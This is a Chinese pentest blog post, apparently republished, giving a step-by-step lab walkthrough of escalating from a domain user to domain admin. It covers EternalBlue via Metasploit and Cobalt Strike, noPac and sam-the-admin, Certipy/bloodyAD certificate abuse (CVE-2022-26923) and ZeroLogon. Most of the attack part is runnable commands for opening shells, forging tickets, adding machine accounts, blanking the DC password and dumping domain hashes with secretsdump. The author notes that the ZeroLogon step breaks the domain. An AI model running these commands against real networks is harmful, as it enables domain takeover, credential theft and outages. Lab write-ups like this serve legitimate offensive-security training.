内网渗透—横向移动域控提权漏洞横移

server/2024/9/22 23:13:19/

前言

今天主要是说一下利用漏洞来进行横移,主要是针对域控提权。前面我们学习过通过hash传递、IPC等技术手段来进行横移,现在假如那些都用不了了,那么我们还可以利用系统的漏洞来横移到我们的域控主机上面,也就是说从一个域内用户变成域控用户。域控提权不像我们之前是针对当前一个电脑的提权,而是针对域内的提权。

实验环境

不想多讲,和前面一样,同时实验开始前先让Web服务器上线CS。

Web服务器:192.168.22.28,192.168.145.137
DC:192.168.22.30
内网主机1:192.168.22.27
内网主机2:192.168.22.29

CVE-2017-0146

这个漏洞呢就是我们熟知的永恒之蓝漏洞啦,当我们的域内其它主机或者域控有这个漏洞时,就可以利用这个漏洞进行横移。先把Web服务器进行提权,防止后面实验权限不够的问题。

CS&MSF

这里我们要把Web服务器的会话转交给MSF,为啥呢。因为CS虽说可以利用插件进行MS17_010的检测,但是CS不支持漏洞的利用,所以还是把会话转交给MSF更方便一点,这个就是我们常说的CS联动MSF。

CS先创建一个监听器,Host就是你MSF服务器的地址,端口随便,名字就叫MSF吧。

再回到MSF这边,因为我们的CS设置的监听器是反向的,所以我们MSF的payload也要反向的。

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 2222

再回到我们的CS执行下面命令,即可把权限移交到MSF。

spawn msf //msf是监听器的名字

漏洞横移

因为我们的域内主机都是在内网中的,想用msf去扫描漏洞的话得添加路由,先查看路由发现为空。

run autoroute -p

添加当前路由表。

run post/multi/manage/autoroute

此时我们便可以利用MSF的漏洞检测模块去检测MS17_010漏洞。

use auxiliary/scanner/smb/smb_ms17_010

然后就设置一下参数。

set rhosts 192.168.22.27-30 //设置扫描目标段
set threads 5 //设置扫描线程数
run

可以看到28,30,29这几台域内主机都有MS17_010漏洞。

利用MSF的攻击模块。

use exploit/windows/smb/ms17_010_eternalblue

设置参数,这里为啥要设置正向连接呢,因为我们的目标主机是不出网的呀。不出网你反向连接目标主机都找不到我们,那为啥正向连接我们就能找到内网主机呢,当然是因为上面我们添加Web服务器充当路由啦,流量经过Web服务器再到我们的目标主机。

set payload windows/x64/meterpreter/bind_tcp //正向连接上线
set rhost 192.168.22.30 //设置连接目标

攻击成功。

可以看到30主机是由28主机也就是Web服务器连接的。

CVE-2014-6324

这个漏洞呢就是我们前面讲过的MS14-068,这里就不重复讲了

CVE-2021-42287

漏洞简介

 Windows域服务权限提升漏洞(CVE-2021-42287, CVE-2021-42278)是由于Active Directory 域服务没有进行适当的安全限制,导致可绕过安全限制进行权限提升。攻击者可利用该漏洞造成将域内的普通用户权限提升到域管理员权限等危害,具体的话自己查吧。

影响范围

Windows全系列基本都受到影响。

利用条件

1、获取一个普通域成员帐户

2、域用户有创建机器用户的权限(一般默认权限)

3、DC未打补丁KB5008380或KB5008602

漏洞利用

noPac py版本

我们要利用到下面这个脚本去检测漏洞。

下载地址:https://github.com/Ridter/noPac

执行命令之后,返回结果如下图所示便是存在漏洞,注意192.168.3.21是域控的ip,这里我换了一套环境,记得开启socks代理,再在kali里面配置好。

scanner.py -use-ldap god/webadmin:admin!@#45 -dc-ip 192.168.3.21

生成票据,这里我把脚本放在kali里面运行了,因为在本地老是出问题。

noPac.py -use-ldap god.org/webadmin:admin'!@#'45 -dc-ip 192.168.3.21 
//kali需要对!@#符号进行转义

连接域控。

noPac.py -use-ldap god.org/webadmin:admin'!@#'45 -dc-ip 192.168.3.21 -shell

成功反弹shell回来。

noPac exe版本

这个exe版本是小迪那里搞来的,需要的可以私信我,然后工具需要我们编译一下,VS打开program.cs这个文件。

选择release版本,然后运行生成exe。

在bin目录下面就可以看到我们刚刚生成的exe啦。

再到我们的hosts文件去添加两条解析记录。

然后我们建立一个节点,那么我们就可以直接在本地运行的这个工具了,不需要上传到内网中,至于节点怎么建立就不说了。执行结果如下的话,就是存在这个漏洞。

//user,pass均是web服务器的账号密码 
.\nopac.exe scan -domain god.org -user webadmin -pass admin!@#45

执行命令添加一个账号,再创建PTT服务。

//账号为test,密码为test123#
//OWA2010CN-God.god.org是域控
.\noPac.exe -domain god.org -user webadmin -pass admin!@#45 /dc OWA2010CN-God.god.org /mAccount test /mPassword test123# /service cifs /ptt

输入命令查看票据,可以发现我们刚刚添加成功的。

最后用PsExec.exe这个工具去连接,但是不知道为啥没有成功,显示找不到网络路径,不想管它了。

sam-the-admin

这里呢还可以使用这个脚本去进行漏洞利用,这个脚本要在kali运行,如果在Windows运行的话会报错。

这个脚本稍微修改一下代码,找到下面这几行代码。

修改如下,路径为/usr/local/bin/smbexec.py 和 /usr/local/bin/secretsdump.py。

kali配置好代理,输入命令。

python3 sam_the_admin.py "god/webadmin:admin\!@#45" -dc-ip 192.168.3.21 -shell
//!需要转义一下

利用成功,返回域控的shell。

CVE-2022-26923

漏洞简介

当windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNsHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从ActiveDirectory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限

简单来说,Active Directory域权限提升漏洞(CVE-2022-26923)允许低权限用户在安装了 Active Directory证书服务(AD CS)服务器角色的默认Active Directory环境中将权限提升到域管理员。

影响范围

Windows 8.1
Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
Windows 11
Windows Server 2008,2012,2016,2019,2022

利用条件

获取一个普通的域内账号

域内存在证书服务器

漏洞利用

这是要使用到的工具。

下载地址:

https://github.com/ly4k/Certipy/releases

https://github.com/fortra/impacket

https://github.com/CravateRouge/bloodyAD

Certipy这个工具放到kali里面要安装一下才行,不然用不了。关于工具安装遇到的问题,可以看一下这篇文章:CVE-2022-26923 Windows域提权漏洞 - Vice_2203 - 博客园 (cnblogs.com)

python3 setup.py install

记得修改一下kali的host文件,192.168.145.111是DC的地址,这里我又换了一套环境,域控和kali同一网段。

输入命令查是否有安装了证书服务器,如果返回如下则有,记住CA名字和计算机名字。

接着申请低权限用户证书。

certipy req -username test@xiaodi.local -password Pass123 -ca xiaodi-DC-CA -target DC.xiaodi.local -template User
//test是域控的一个普通用户

可以查看一下我们刚刚申请的证书的hash。

certipy auth -pfx test.pfx -dc-ip 192.168.145.111

创建一个新的机器账户,用户为test66,密码为abc123。

python3 bloodyAD.py -d 'xiaodi.local' -u 'test' -p 'Pass123' --host '192.168.145.111' addComputer test66 'abc123'

域控这里可以看到我们刚刚创建的账户。

设置机器账号属性。

python3 bloodyAD.py -d 'xiaodi.local' -u 'test' -p 'Pass123' --host '192.168.145.111' setAttribute 'CN=test66,CN=Computers,DC=xiaodi,DC=local' DNSHOSTName '["DC.xiaodi.local"]' 

可以看一下当前账号属性。

python3 bloodyAD.py -d 'xiaodi.local' -u 'test' -p 'Pass123' --host '192.168.145.111' getObjectAttributes 'CN=test66,CN=Computers,DC=xiaodi,DC=local' DNSHOSTName

再次申请证书,这次用我们刚刚添加的账号,可以看到申请到的证书是DC.pfx。

certipy req -username test66\$@xiaodi.local -password abc123 -ca xiaodi-DC-CA -target xiaodi.local -template Machine -debug

查看证书的Hash。

certipy auth -pfx dc.pfx -dc-ip 192.168.145.111

然后拿着这个hash去连接域控,再导出域控里面的hash即可。

python3 secretsdump.py 'xiaodi.local/DC$@xiaodi.local' -hashes :a2fad5faf792b6f685cd0ae93d6f9b96

CVE-2020-1472

漏洞简介

ZeroLogon (CVE-2020-1472) 影响域内登录认证协议Netlogon (MS-NRPC) 中所使用的加密身份验证方案 (AES-CFB8),在通过NetLogon协议与AD域控建立安全通道时,强行登录尝试,对全零的纯文本应用AES-CFB8加密将导致全零的密文,从而可以绕过正常认证,进一步可获取域管理员HASH,获取域管权限

摘抄于:ZeroLogon (CVE-2020-1472) 漏洞利用_zerologon漏洞-CSDN博客

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

利用条件

仅需一台域内主机即可。

漏洞利用

工具下载:

https://github.com/SecureAuthCorp/impacket

GitHub - dirkjanm/CVE-2020-1472: PoC for Zerologon - all research credits go to Tom Tervoort of Secura

首先获取域控的计算机名,这个说了好多次了。

net time /domain

通过工具连接DC清空凭证,虽然没有密码是连接不了DC的,但是通过这个漏洞我们可以去把DC的密码给清空了,然后再用空密码去连接到DC上面去,最后导出DC上面的Hash。注意,这个漏洞会对域环境造成破坏,在实际渗透中谨慎使用,如果是实验环境记得保存快照以便回复。

引用别人的文章ZeroLogon (CVE-2020-1472) 漏洞利用_zerologon漏洞-CSDN博客

域控的机器帐户HASH存储在注册表中,系统启动时会将其加载到lsass,当攻击置空域控HASH后,仅AD (NTDS.DIT) 中的密码会更改,而不是注册表或加载到lsass中的密码,这样将会导致域控脱域,无法使用Kerberos进行身份验证,因此要尽快恢复。

我们先尝试空密码连接看看有无反应,显然是不行的。

secretsdump.py owa2010cn-god.god.org\$@192.168.3.21 -just-dc -no-pass

连接DC清空密码。

cve-2020-1472-exploit.py OWA2010CN-GOD.god.org 192.168.3.21

修改一下kali的hosts文件。

空密码连接导出Hash,因为要挂代理所以网络不太稳定,多试几次就可以导出来了,有了hash之后利用我们前面说的方法去连接即可。

secretsdump.py OWA2010CN-GOD\$@192.168.3.21 -just-dc -no-pass

总结

这次涉及的几个漏洞横移实验环境都比较复砸,我也是搞了好几天,最后搞了一套小迪的环境才顺利完成的。对于CVE-2022-26923可能我讲的不是很明白,简单来说就是我们本来是一个低权限用户,没有域控的账号密码无法申请域控的CA。但是我们可以先用普通账户申请一个普通账户的CA,再在创建一个机器账户,然后设置机器账户的属性为DC,让它覆盖掉原本的DC。那么我们这个机器账户就相当于DC账户了,我们又知道机器账户的密码。那我们直接向域控申请机器账号的CA,再查看CA的hash,最后拿着hash去连接域控即可。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。


http://www.ppmy.cn/server/105063.html

相关文章

单例模式 详解

单例模式 简介: 让类只初始化一次, 然后不同的地方都能获取到同一个实例 这是非常常用的一种模式, 系统稍微大一点基本上都会用到. 在系统中, 不同模块的总管理类都已单例模式居多 这里我们不仅使用c实现单例模式, 也会用python2实现一遍 python代码 想要看更详细的python单…

代理模式:静态代理和动态代理

目录 一、静态代理 1、优点 2、 缺点 3、示例 二、动态代理 1、优点 2、 缺点 3、示例 三、总结 在Java中,代理模式是一种结构型设计模式,它允许你在不改变目标对象代码的情况下,为目标对象提供一个代理对象,用以控制访问和增强功…

(24)(24.4) MultiWii/DJI/HDZero OSD (version 4.2 and later)(二)

文章目录 前言 2 未经WTFOS改装的DJI 2/V1/V2护目镜 3 参数说明 前言 除了基于本地 MSP 遥测的 OSD 显示外,在后来的型号中还添加了“自定义OSD”功能,允许显示和定位 ArduPilot 提供的任何或所有 OSD 信息面板以及警告、单位等。 2 未经WTFOS改装的…

开放世界目标检测:检测区分出未知物体

开放世界目标检测:检测区分出未知物体 01 Abstract 开放世界目标检测旨在识别未见过类别的目标,并在提供注释后逐步识别这些目标。与传统的只限于预定义类别的范式不同,这种设置承诺通过使用与类别无关的信息来持续且通用地估计目标性。然而…

Paimon Flink本地读取数据报错

1.idea本地读取paimon 用idea在本地读取paimon的表时需要添加的依赖除了官网提出的和hadoop相关的,paimon-flink之类相关的除外还需要其他额外依赖 import org.apache.flink.streaming.api.environment.StreamExecutionEnvironment; import org.apache.flink.tabl…

【设计模式】模块模式和桥接模式

模块模式 模块化模式最初被定义为在传统软件工程中为类提供私有和公共封装的一种方法。 能够使一个单独的对象拥有公共/私有的方法和变量,从而屏蔽来自全局作用域的特殊部分。这可以减少我们的函数名与在页面中其他脚本区域内定义的函数名冲突的可能性。 闭包&am…

Spring系列之Spring Cache缓存注解的使用

目录 一、概述 二、缓存注解 1、Cacheable 缓存结果 2、CachePut 更新缓存 3、CacheEvict 清除缓存 4、Caching 组合缓存(不常用) 5、CacheConfig 类级别缓存配置(不常用) 6、CacheResult 设置缓存超时(不常用…

数据采集-->kafka-->hdfs

数据采集到kafka flume: a1.sources r1 a1.channels c1a1.sources.r1.type TAILDIR a1.sources.r1.filegroups f1 a1.sources.r1.filegroups.f1 /opt/installs/flume1.9/job/a.log a1.sources.r1.positionFile /opt/installs/flume1.9/job/taildir-kafka.jsona1.channe…